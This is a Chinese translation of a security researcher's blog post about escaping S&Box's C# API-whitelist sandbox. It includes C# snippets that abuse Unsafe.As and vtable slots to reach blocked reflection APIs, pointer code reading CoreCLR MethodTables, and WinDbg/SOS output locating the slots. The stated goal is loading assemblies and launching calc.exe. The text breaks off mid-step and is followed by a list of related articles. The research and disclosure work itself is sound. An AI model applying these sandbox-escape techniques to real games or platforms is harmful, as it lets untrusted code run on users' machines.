如何从S&Box中打开calc.exe
摘要
一位安全研究员研究了S&Box(Garry's Mod 2)中的C#沙箱机制,该机制使用API白名单而非加固的运行时。通过修改编译黑名单,他们绕过了限制并导致编辑器崩溃,证明这种方法不安全,尽管与Space Station 14的系统类似。
<p><a href="https://lobste.rs/s/r6lw7v/how_open_calc_exe_from_s_box">评论</a></p>
查看缓存全文
缓存时间: 2026/05/21 22:19
# 如何从 S&Box 打开 calc.exe
来源:https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/
2026 年 5 月 21 日,星期四
那么,S&Box 已经“开源”了。我对这个平台本身没什么兴趣,但我*确实*对它们如何安全执行 C# 代码感兴趣……
S&Box 是“Garry's Mod 2”,或者也可能是 Roblox Source 2,我真的不太关心它本身。与我相关的是,它们没有使用 Lua 之类的语言,而是使用了完全功能的 C# 作为游戏脚本语言。C#/.NET 不是 Lua:它不是为运行不受信任的代码而设计的,那么它们是如何做到的呢?解决方案非常简单:它们扫描你的代码,如果你使用任何类似 `File.Open()` 的 API,就会阻止加载(https://sbox.game/dev/doc/code/code-basics/api-whitelist/)。
那么,这是安全的吗?嗯……明确地说:如果你是一个注重安全的人,这绝对是个糟糕的主意。.NET 运行时并没有像浏览器的 JavaScript 引擎那样经过强化来故意执行恶意代码。它*曾经*在 .NET Framework 时代这样做过,但现代 .NET 已经放弃了这种方式,而且我听说那时也有一大堆漏洞。
另一方面……Space Station 14 也完全采用了相同的方法(https://github.com/space-wizards/RobustToolbox/blob/899eef397c811a8ca22f079d19bbe51a3b2cdc30/Robust.Shared/ContentPack/AssemblyTypeChecker.cs),而我就是写那堆代码的人。我不会假装自己比他们高明。我们俩都用 C# 的原因非常简单:C# 毫无疑问是有史以来最好的编程语言之一,句号。我完全可以写一整篇博文来赞美 C# 有多么*优秀*,但这里就不多说了。对于 Space Station 14 来说,毫不夸张地说,这是该项目能够成功的重要因素之一。
但无论如何,让我们检查一下沙盒白名单,唔——*喷出饮料*
(https://github.com/Facepunch/sbox-public/blob/920e3760bcba27f2edf56902824dcb2db801c802/engine/Sandbox.Access/Rules/CompilerGenerated.cs)
```
// 编译器会生成所有这些用户不该使用的可怕东西
// 用户代码会在 Sandbox.Compiling 中进行检查
blacklist
"System.Private.CoreLib/System.Runtime.CompilerServices.Unsafe.Add*",
"System.Private.CoreLib/System.Runtime.CompilerServices.Unsafe.As*",
"System.Private.CoreLib/System.Runtime.CompilerServices.Unsafe.AsRef*",
```
它们到底在想什么?不会这么容易吧?
## 我们能搞垮栈吗?
(https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#can-we-smash-the-stack)
好吧,让我们试试。这肯定行不通。安装这个该死的游戏,打开编辑……编辑器一加载就崩溃了。真该死。游戏也崩溃了?怎么回事?折腾了半小时后,我总算把 WinDBG 挂到了编辑器上,然后……
WinDbg 截图显示了 engine2、vrclient 以及最后的 amdlvr64 的调用栈。
我当然不后悔买了 AMD 的 GPU,你为什么要问?是的,AMD 的显卡驱动有一个 bug:当一个应用在没有运行 SteamVR 但插着 Valve Index 的情况下检查 VR 时,会导致应用崩溃。
*拔掉 DisplayPort 线缆*。
我在编辑器中打开一个新项目,打开它生成的 C# 示例组件,粘贴了以下代码:
```
var i = 5;
ref var r = ref i;
while (true)
{
r = 0;
r = ref Unsafe.Add(ref r, 1);
}
```
……编辑器拒绝编译。好吧,意料之中。
谢天谢地,我甚至不需要 dnSpy,我们可以自己编译!(https://github.com/Facepunch/sbox-public)。我在正确的位置添加了一个简单的 `&& false` 来移除编译黑名单,然后重新打开。代码顺利编译了。我创建了一个场景,将组件添加到空对象上,按下运行……编辑器崩溃了!不出所料。但在游戏中会有效吗?
我找到了发布按钮,先创建了一个组织(我声明了 `slugcat`),发布,检查游戏设置确保它是未列出的(我还是*有点*责任心的),然后……在用户界面的任何地方都找不到我的游戏。它*说*未列出的游戏可以通过“URL”或“组织内的人”找到,但我在游戏的游戏浏览器里根本没找到这类东西。花了 20 分钟在各个界面间翻来覆去,快疯了,甚至问了一个朋友,最后才发现可以在控制台输入 `game slugcat.calc` 来加载游戏。然后……它没崩溃,因为我创建了一个*新的*场景,而不是修改实际加载的默认示例场景。再发布一次(幸好发布很快)……游戏崩溃了。
***哦,我的天哪***
## 允许不安全代码
(https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#allowing-unsafe-code)
好吧,既然它们在加载游戏时显然没有检查什么,而且肯定没有像我们在 SS14 中那样进行 ILVerify 步骤,那么我们应该可以直接编译完整的 `unsafe` 代码并蒙混过关。所以再次修改编辑器。我想说这“相当容易”,但显然花费了不少试错和努力。编辑并重启编辑器花了不少时间。我不能*仅仅*告诉它允许不安全代码,因为那样会使编译器在模块上添加 `[UnverifiableCode]`,从而触发它们的加载器沙盒。所以我不得不拿出 `Mono.Cecil` 来去掉那东西。*这并不难*,只是迭代过程很痛苦,我没有正确阅读错误信息,而且有点像个傻瓜。
另外,非常烦人的是,如果你的代码因沙盒错误而加载失败,重启编辑器后它将永远不会再次加载。当然,这很可能只对我自己产生影响。
这样一来,我就能在编辑器中运行 `unsafe` 代码了。严格来说我并不*需要*这样做,因为 C# 的 `unsafe` 并不像 Rust 那样:它只限制指针类型本身,而不限制像 `Unsafe.As()` 这样同样致命的 API。不过,用指针语法写指针代码比用 `Unsafe.As()` 要容易得多。
## 开始搞事
(https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#getting-up-to-shenanigans)
在我从事 SS14 工作的这些年里,我在 C# Discord(https://discord.gg/csharp)中待了不少时间,那里最有趣的地方是 `#allow-unsafe-blocks`。我做过不少恶心的 `Unsafe.As` 把戏来优化性能,而且我*相当*确定不会破坏任何东西。然而,我从未将这些知识用于*恶意*用途。
例如,S&Box 的白名单允许我们获取一些关于 `Type` 对象的基本信息,但它阻止访问 `Assembly` 属性(当然也包括 `Assembly` 类型本身)。然而,我知道 `Type.Assembly { get; }` 是一个虚函数,而虚函数是通过虚函数表(vtable)实现的。所以如果我们使用 `Unsafe.As()` 来假装一个 `Type` 是其他东西,我们就可以调用它上面的任何虚函数:
```
var type = typeof(Type);
var assembly = Unsafe.As<Lol>(type).REAL();
public class Lol
{
public virtual void A4() { }
public virtual void A5() { }
public virtual void A6() { }
public virtual void A7() { }
public virtual void A8() { }
public virtual void A9() { }
public virtual void AA() { }
public virtual void AB() { }
public virtual void AC() { }
public virtual void AD() { }
public virtual void AE() { }
public virtual void AF() { }
public virtual void A10() { }
public virtual void A11() { }
public virtual void A12() { }
public virtual void A13() { }
public virtual void A14() { }
public virtual object REAL() // 15
{
return null;
}
}
```
这个 `15` 是从哪里来的?通过使用 SOS(https://learn.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension)可以检查相当多的 CoreCLR 内部结构。所以我们需要做的就是:
1. 在 WinDBG 中运行一个 C# 程序(1)(https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#fn:1)。
2. 使用 `!dso` 或 `!dumpruntimetypes` 从某处获取一个 `RuntimeType`(2)实例(https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#fn:2)。
3. 用 SOS 检查对象,查看其 `MethodTable` 的位置。
4. 运行 `!dumpmt -MD <地址>`。
```
0:000> !dumpruntimetypes
Address Domain MT Type Name
0194a50f0020 0194b0bc3e60 7ff8cd41c6d0 System.String
0194a50f3a90 0194b0bc3e60 7ff8cd555658 System.Resources.ResourceManager
0194a50f3ad8 0194b0bc3e60 7ff8cd555e60 System.Resources.ResourceReader
/* ... */
0:000> !dumpobj /d 194a50f0020
Name: System.RuntimeType
MethodTable: 00007ff8cd2fa180
Canonical MethodTable: 00007ff8cd2fa180
Tracked Type: false
Size: 40(0x28) bytes
Type Name: System.String
Type MT: 00007ff8cd41c6d0
File: C:\Program Files\dotnet\shared\Microsoft.NETCore.App\10.0.0\System.Private.CoreLib.dll
Fields:
MT Field Offset Type VT Attr Value Name
00007ff8cd620e38 4000386 8 ...Reflection.Binder 0 static 00000194b500ef40 k__BackingField
00007ff8cd3d3268 4000387 8 System.Char 1 static 2e Delimiter
/* ... */
0:000> !dumpmt -MD 00007ff8cd2fa180
Canonical MethodTable: 00007ff8cd2fa180
Module: 00007ff8cd2f4000
Name: System.RuntimeType
mdToken: 00000000020000B5
File: C:\Program Files\dotnet\shared\Microsoft.NETCore.App\10.0.0\System.Private.CoreLib.dll
AssemblyLoadContext: Default ALC - The managed instance of this context doesn't exist yet.
BaseSize: 0x28
ComponentSize: 0x0
DynamicStatics: true
ContainsPointers: true
Number of Methods: 221
Number of IFaces in IFaceMap: 4
--------------------------------------
MethodDesc Table
Entry MethodDesc JIT Slot Name
00007FF8CD3B0000 00007ff8cd2f4698 NONE 0000000000000000 System.Object.Finalize()
00007FF8CD3B0300 00007ff8cd2f9938 NONE 0000000000000001 System.RuntimeType.ToString()
00007FF8CD3B0318 00007ff8cd2f9cc8 NONE 0000000000000002 System.RuntimeType.Equals(System.Object)
00007FF8CD3B0330 00007ff8cd2f9e58 NONE 0000000000000003 System.RuntimeType.GetHashCode()
00007FF8CD3B0348 00007ff8cd2f9010 NONE 0000000000000004 System.RuntimeType.CacheEquals(System.Object)
00007FF8CD3B0360 00007ff8cd2f9c20 NONE 0000000000000005 System.RuntimeType.get_MemberType()
00007FF8CD56AEE0 00007ff8cd2f9950 PreJIT 0000000000000006 System.RuntimeType.get_Name()
/* ... */
00007FF8CD3B0498 00007ff8cd2f9488 NONE 0000000000000014 System.RuntimeType.get_FullName()
00007FF8CD56AE50 00007ff8cd2f9b78 PreJIT 0000000000000015 System.RuntimeType.get_Assembly()
```
所以,是的,我硬编码了这个值。显然这在运行时版本之间不可靠,但根据我的测试,它在重启之间似乎是一致的,所以对我来说已经足够了!你还可以看到为什么我的 `Lol` 类型中缺少 `A0` 到 `A3`:它们是定义在 `System.Object` 上的四个基本方法 `Finalize()`、`ToString()`、`Equals(System.Object)` 和 `GetHashCode()`,所以每个类型都有它们。
另外,如果你好奇的话:`REAL()` 返回一个 `object`,而实际函数返回一个 `Assembly`,这完全无关紧要。在运行时,它们都只是一个单指针的对象引用。不过,你不能*仅仅*通过混合引用类型和非引用类型来搞这种把戏。如果我让 `REAL()` 返回一个 `nuint`,在 x64 ABI 上可能仍然能得到地址,但*会*造成一个 GC 漏洞。不过对于我们的用例来说,这并不重要……
但无论如何,你可以在 Windows .NET 10.0.0 上运行上述代码,然后就能在字段中获得该类型的程序集。而在 S&Box 中你也可以这样做。我甚至可以将它打印到控制台,这样你就可以在检查器中查看程序集对象。挺搞笑的!能把对象打印到控制台并点击打开检查器,这太酷了。我得为 RT 偷学过来。
## 好了,那么如何计算呢?
(https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#okay-so-how-do-we-calculate)
此时,很明显我们已经基本无法阻止了。对于安全披露来说这应该足够了,但那样太无聊了。所以让我们打开 Windows 计算器 `calc.exe`。
这里有几种路径可选。我们可以尝试以某种方式获得对 `Process.Start("calc.exe")` 的访问权限然后直接运行。我们也可以尝试执行一个原始的 x64 汇编载荷(https://github.com/peterferrie/win-exec-calc-shellcode/blob/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/w64-exec-calc-shellcode.asm),但 .NET 强制实行 W^X 策略,所以这可能很烦人。事后看来,如果 .NET*没有* W^X,这件事本会*轻而易举*。这些缓解措施确实起到了作用。
我们已经有了 `Assembly` 对象,所以我决定以某种方式调用 `Assembly.Load(byte[])`。那是一个静态函数,不是虚函数,所以我们不能*仅仅*使用之前的技巧。幸好,之前那些 `!dumpmt -MD` 的输出给了我很好的下一步方向。再贴一段输出:
```
0000000000000000 00007ff8cd2f98a0 NONE 00000000000000BE System.RuntimeType.TryChangeTypeSpecial(System.Object ByRef)
00007FF8CD5695F0 00007ff8cd2f9980 PreJIT 00000000000000BF System.RuntimeType.CreateInstanceCheckThis()
00007FF8CD569590 00007ff8cd2f99a0 PreJIT 00000000000000C0 System.RuntimeType.CreateInstanceImpl(System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo)
0000000000000000 00007ff8cd2f99c0 NONE 00000000000000C1 System.RuntimeType.GetUninitializedObject()
00007FF8CD56A028 00007ff8cd2f99e0 PreJIT 00000000000000C2 System.RuntimeType.CreateInstanceDefaultCtor(Boolean, Boolean)
0000000000000000 00007ff8cd2f9a00 NONE 00000000000000C3 System.RuntimeType.CreateInstanceOfT()
```
与之前的例子不同,这些*不是*虚函数。这个转储也显示了静态方法和常规实例方法,所以这让我觉得要获得所有非虚函数应该也不会太难。
首先,让我们获取 `MethodTable`。我会让注释非常完善的 CoreCLR 源码(3)(https://github.com/dotnet/runtime/blob/7ff108276e94068d5935d4ed273cb3f387a4b550/src/coreclr/vm/methodtable.h)来解释它是什么:
```
// MethodTable 是运行时中类型的基本表示形式。对象指向的就是这个结构
// (参见 code:Object)。它保存类型的大小和 GC 布局,以及用于虚分派的调度表
// (但不包括接口分派)。
```
在内存中,每个对象(4)(https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#fn:4)的开头是一个指向 `MethodTable` 的指针。所以基本上我们可以将一个 `object` 变量视为一个 `MethodTable**`:
```
public static MethodTable* Get(object o)
{
// 是的,这是个糟糕的主意。就连编译器都这么告诉我们。我们只需回答:“没问你。”
#pragma warning disable CS8500
return **(MethodTable***)&o;
}
```
你知道,这可能是一个 GC 漏洞。呜呼。
我们还需要弄清楚 `MethodTable` 的布局,以便在自己的代码中读取它。我试图通过查看 CoreCLR 代码中的 C# 端副本来走捷径,于是打开了 dotnet 运行时源码中的 `MethodTable.cs`。但实际上那是 NativeAOT 的实现,而不是 CoreCLR 的,这意味着我花了不少时间“这他妈根本说不通”之后才意识到 CoreCLR 的实现是在 `RuntimeHelpers.cs` 中。哎呀!浪费了很多时间!
虚函数表槽在内存中位于主 `MethodTable` 结构*之后*,所以我假设它只是一个平铺的数组,所有槽都存放在前面。我可能还参考了一篇 2005 年的 MSDN 文章(https://learn.microsoft.com/en-us/archive/msdn-magazine/2005/may/net-framework-internals-how-the-clr-creates-runtime-objects)作为辅助资料,嗯,是的,我不认为二十年间所有东西都保持不变。
于是我进行了一些基本的指针算术(抱歉,没有代码片段了,我已经没有了),似乎读出了与 `!dumpmt` 给出的相同的值。所以我想我们有了一个函数指针,怎么调用它呢?哦,这实际上很容易!我们只需拿一个委托,然后用 `Unsafe.As` 来修改
相似文章
在Windows上构建安全有效的沙箱以支持Codex
OpenAI工程师为Windows上的Codex构建了自定义沙箱,以实现安全受限的命令执行,在不依赖原生Windows隔离功能的情况下平衡有效性与安全性。
@ghumare64: https://x.com/ghumare64/status/2055329887431393309
深入探讨为何本地编码代理(如Claude Code和Codex)正逐渐转向libkrun而非Firecracker进行沙盒隔离,原因是Firecracker无法在macOS上原生运行。本文还介绍了iii-sandbox,一个基于libkrun构建的开源硬件隔离执行层。
沙盒化令人抓狂
一篇技术博客,讨论实现安全沙盒技术的复杂性与挫败感。
我在无头Linux上为codex构建了一个计算机使用沙箱框架。GPU直通、计算机使用和codex的sudo权限全部工作。这是一个完美的开发沙箱,可以在最小化"rm -rf /"风险的同时实现全自动工作。
作者使用LXC容器构建了一个AI沙箱管理器,允许Codex代理在无头Linux上拥有完整的sudo权限和GPU直通,同时保护主机系统免受灾难性错误的影响。
Boxes.dev
Boxes.dev 允许你在自己的云环境中运行 Claude Code 和 Codex。